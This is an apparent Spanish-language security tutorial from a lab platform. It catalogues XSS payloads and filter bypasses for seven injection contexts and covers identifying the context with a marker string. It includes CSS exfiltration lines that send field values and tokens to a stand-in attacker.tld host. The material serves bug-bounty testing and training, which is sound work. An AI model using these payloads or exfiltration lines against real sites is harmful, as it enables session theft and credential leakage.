Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel IntermedioGratis

XSS contexts — payloads por contexto (HTML, atributo, JS, URL, CSS)

Cómo identificar el contexto exacto donde se inyecta tu input y los payloads que escapan cada uno: HTML body, atributo HTML, JS string, JS event, URL, CSS, JSON.

Gorka El Bochi11 de mayo de 202613 min

Respuesta rápida

Un payload XSS solo funciona si escapa el contexto donde aterriza tu input. Inyectar <script> dentro de un atributo value="" no ejecuta — necesitas cerrar la comilla primero. La metodología que escala: inyecta un marker único (zzaazz), localiza el marker en el DOM, identifica el contexto exacto (HTML body / atributo / JS string / JS event / URL / CSS / JSON) y aplica el payload mínimo que escape ese contexto. Sin teoría — solo seven contextos, siete payloads.


Los 7 contextos donde aterriza tu input

#ContextoCómo aparece tu inputEscape mínimo
1HTML body<div>INPUT</div><svg onload=alert(1)>
2Atributo HTML<input value="INPUT">"><svg onload=alert(1)>
3JS stringvar x = "INPUT";";alert(1);//
4JS event handleronclick="foo('INPUT')"');alert(1);//
5URL (href/src)<a href="INPUT">javascript:alert(1)
6CSS<style>color:INPUT</style>red;}*{background:url(//evil)}
7JSON embed<script>var d={"x":"INPUT"}</script>"};alert(1);//

Inyecta zzaazz<>"' y busca en la respuesta cómo aparece — eso determina el contexto.


Contexto 1 — HTML body

Tu input cae entre tags. Cualquier tag con event handler funciona; <script> solo si la página no es parseada como <noscript>/textarea.

html
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>
<input autofocus onfocus=alert(1)>

Si solo se filtran < y > pero no entidades — codifica con entidades HTML:

html
&lt;img src=x onerror=alert(1)&gt;     ← NO ejecuta (parseado como texto)
<img src=x onerror=&#97;lert(1)>        ← SÍ ejecuta (entidad dentro de atributo)

[!tip] Test rápido del contexto HTML Inyecta <u>x y mira si aparece subrayado en el render — confirma que parseaste como HTML.


Contexto 2 — Atributo HTML

Tu input cae dentro de un atributo. Dos sub-casos: con comillas o sin comillas.

Con comillas

html
<input value="INPUT">       → cierra comilla + tag
                              "><svg onload=alert(1)>
                              "><img src onerror=alert(1)>

Sin comillas (más raro pero más permisivo)

html
<input value=INPUT>          → espacio basta para nuevo atributo
                              x onfocus=alert(1) autofocus

Cuando > está filtrado pero el atributo es un event handler

Si tu input cae directamente en onclick="...", no necesitas escapar el tag:

html
<button onclick="doStuff('INPUT')">    →  ');alert(1);//

accesskey trick para input hidden / meta

html
/?lol=h0tak88r' accesskey='x' onclick='alert(0)'

La víctima debe pulsar ALT+SHIFT+X (Chrome/Edge). Útil cuando solo controlas un <input type=hidden> o <meta>.

Popover API (Chrome 2023+) — bypass de filtros que no conocen onbeforetoggle

html
<input type="hidden" value="x" popover id="newsletter" onbeforetoggle=alert(1)>
<meta name="x" content="y" popover id="newsletter" onbeforetoggle=alert(1)>

Requisito: la página ya tiene un <button popovertarget="newsletter">. Si tu inyección aparece antes en el DOM, el browser dispara onbeforetoggle en tu elemento.


Contexto 3 — JS string

Tu input cae dentro de comillas en un bloque <script>. Cierra la comilla y mete tu código.

javascript
<script>
var nombre = "INPUT";        → ";alert(1);//
                              ";alert(document.domain);//
var nombre = 'INPUT';        → ';alert(1);//
</script>

Cuando solo escapan " con \ pero no \ mismo

scss
INPUT = \";alert(1);//

Si la app convierte " en \", tu \ queda como \\ y el " siguiente cierra la string:

scss
\\\";alert(1);//

Backticks (template literals)

javascript
var html = `<div>INPUT</div>`;    → ${alert(1)}
                                     `;alert(1);//

Contexto 4 — JS event handler

Tu input cae dentro de un atributo event handler. Esto es HTML + JS combinados — tienes dos capas para escapar.

html
<a onclick="goTo('INPUT')">     → ');alert(1);//
<button onclick="alert('INPUT')">  → ');alert(1);//

Si las comillas se escapan a &apos; o &#39;, el parser HTML las decodifica antes de pasarlas a JS — la comilla decodificada cierra el string igual.

html
<a onclick="goTo('INPUT')">&#39;);alert(1);//

[!warning] Doble decodificación Los event handlers pasan por HTML decoder primero, luego JS parser. &#x27;);alert(1);// se decodifica a ');alert(1);// antes de ejecutar — sirve para bypass de filtros que solo buscan caracteres literales.


Contexto 5 — URL (href, src, action)

Tu input cae como una URL. El payload clásico:

javascript
javascript:alert(1)
javascript:alert(document.domain)
data:text/html,<script>alert(1)</script>

Bypass de filtros que bloquean javascript:

css
JaVaScRiPt:alert(1)                  ← case
java\tscript:alert(1)                ← tab (\t)
java&#09;script:alert(1)             ← tab entity
java&Tab;script:alert(1)             ← named entity
java%09script:alert(1)               ← URL-encoded
\j\a\v\a\s\c\r\i\p\t:alert(1)        ← backslash escapes (algunos parsers)
markdown
[click](javascript:alert(1))
[click](j a v a s c r i p t:alert(1))
[click](javascript:window.onerror=alert;throw%201)

Útil en apps que renderizan markdown sin sanitizar URLs (issue trackers, READMEs, comentarios).

[!info] Frameworks modernos cubren esto parcialmente React v19 bloquea javascript: en href y <object> automáticamente. Pero window.open(userInput) y location.href = userInput no están cubiertos — siguen siendo XSS frecuentes en redirects post-login.


Contexto 6 — CSS

Tu input cae dentro de un bloque <style> o atributo style. CSS no ejecuta JS directamente (desde IE eliminó expression()) pero permite exfiltración de datos:

css
<style>
.user-INPUT { background: red; }
→ x;}*{background:url("//attacker.tld/?c="attr(value));}
</style>

Exfil via attribute selector

css
input[value^="a"] { background: url(//attacker.tld/a); }
input[value^="b"] { background: url(//attacker.tld/b); }
/* ... */

Cada letra del valor de un campo se exfiltra a tu collaborator. Útil contra CSRF tokens o passwords pre-rellenados.

Import de stylesheet externa

css
@import url("//attacker.tld/exfil.css");

Contexto 7 — JSON embed

App genera JSON inline dentro de un <script>:

html
<script>
var data = {"username":"INPUT"};
</script>
                                  → "};alert(1);//
                                  → </script><script>alert(1)</script>

Cuando < está escapado pero / no

</script> puede romperse aunque <script> esté filtrado: el HTML parser termina el bloque <script> cuando ve </script> literalmente — tu JSON ya está cerrado.

php-template
"INPUT": "</script><img src=x onerror=alert(1)>"

Identificación rápida con marker

Inyecta un marker y observa cómo aparece. Una sola request te da el contexto:

php-template
INPUT = zzaa<u>"'</u>zz</textarea>'/zz

Busca zzaa en la respuesta:

ApareceContexto
<u> renderizaHTML body
&lt;u&gt; (escaped) y dentro de <input value="...">Atributo HTML
Dentro de <script>...zzaa..."...zz</script>JS string
Dentro de onclick="...zzaa..."JS event
Dentro de <a href="...zzaa...">URL
Dentro de <style>...zzaa...</style>CSS
Dentro de <script>var x = {...zzaa...}</script>JSON embed

Hunting checklist

  • Inyecta marker único (zzaazz<>"') y localiza en respuesta.
  • Identifica contexto exacto antes de tirar payloads agresivos.
  • Atributos: prueba con y sin cierre de comilla. Sin comilla solo requiere espacio.
  • JS string: prueba ", ', backtick, </script>.
  • URL sinks: siempre prueba javascript: + variantes case/tab/entity.
  • Markdown: prueba [x](javascript:alert(1)) en cualquier campo que renderice markdown.
  • Atributos hidden/meta: prueba accesskey + popover onbeforetoggle.
  • CSS: si solo controlas styles, exfil con attribute selector + collaborator.
  • JSON embed: prueba romper con </script> aunque parezca escapado.
  • Documenta el payload mínimo — escala bounty cuando es one-shot.

Labs relacionados

Practica detección de contexto en 8 apps reales con sinks diferentes en labs de XSS.

Practica esto en un lab

Xss Context Finder

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta
Premium · 1 técnica más

Hay un payload extra al final

El cheatsheet completo de 47 payloads por contexto + el script que detecta tu contexto automáticamente.

Desbloquear

5 €/mes · cancela cuando quieras

Artículos relacionados